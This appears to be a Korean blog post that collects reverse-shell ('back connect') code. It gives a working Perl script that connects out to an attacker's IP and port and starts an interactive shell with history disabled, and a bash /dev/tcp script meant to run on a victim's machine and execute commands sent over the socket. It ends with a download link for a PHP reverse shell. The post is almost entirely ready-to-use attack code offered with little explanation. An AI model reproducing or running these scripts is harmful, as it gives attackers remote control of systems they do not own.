Back Connect, Reverse Telnet 코드

perl

#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("id;pwd;uname -a;w;HISTFILE=/dev/null /bin/sh -i");

bash

#!/usr/pkg/bin/bash
# Author : Teo Manojlovic
#
################################
#
# Reverse netBSD backconnect script  written  in bash
#
################################
#
# Tested on netBSD 5.0.1
#
# This example is only for learning purposes
#
# Usage: "bash backdonnect.sh IPaddr port " on victims machine
#
# On attacker machine use netcat "nc -lvvp IP  port"
#
# Script was made as a result of playing with bash and /dev/tcp
#
# And it is important that script is running in bash shell

if [ -z "$2" ]; then
              echo " Usage: "bash portbind.sh IPaddr port""
              exit
          fi
exec strings /usr/pkg/bin/bash | grep tcp

 exec 7<> /dev/tcp/$1/$2
cat <&7  | while read command;
 do
if [ $command == "stop" ]; then
exit 1
else
 $command 2>&7 >&7;
fi
 done

php-reverse-shell
https://jjoon.net/page/wp-content/uploads/1/1165837816.gz

출처 : http://pentestmonkey.net/tools/php-reverse-shell/

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다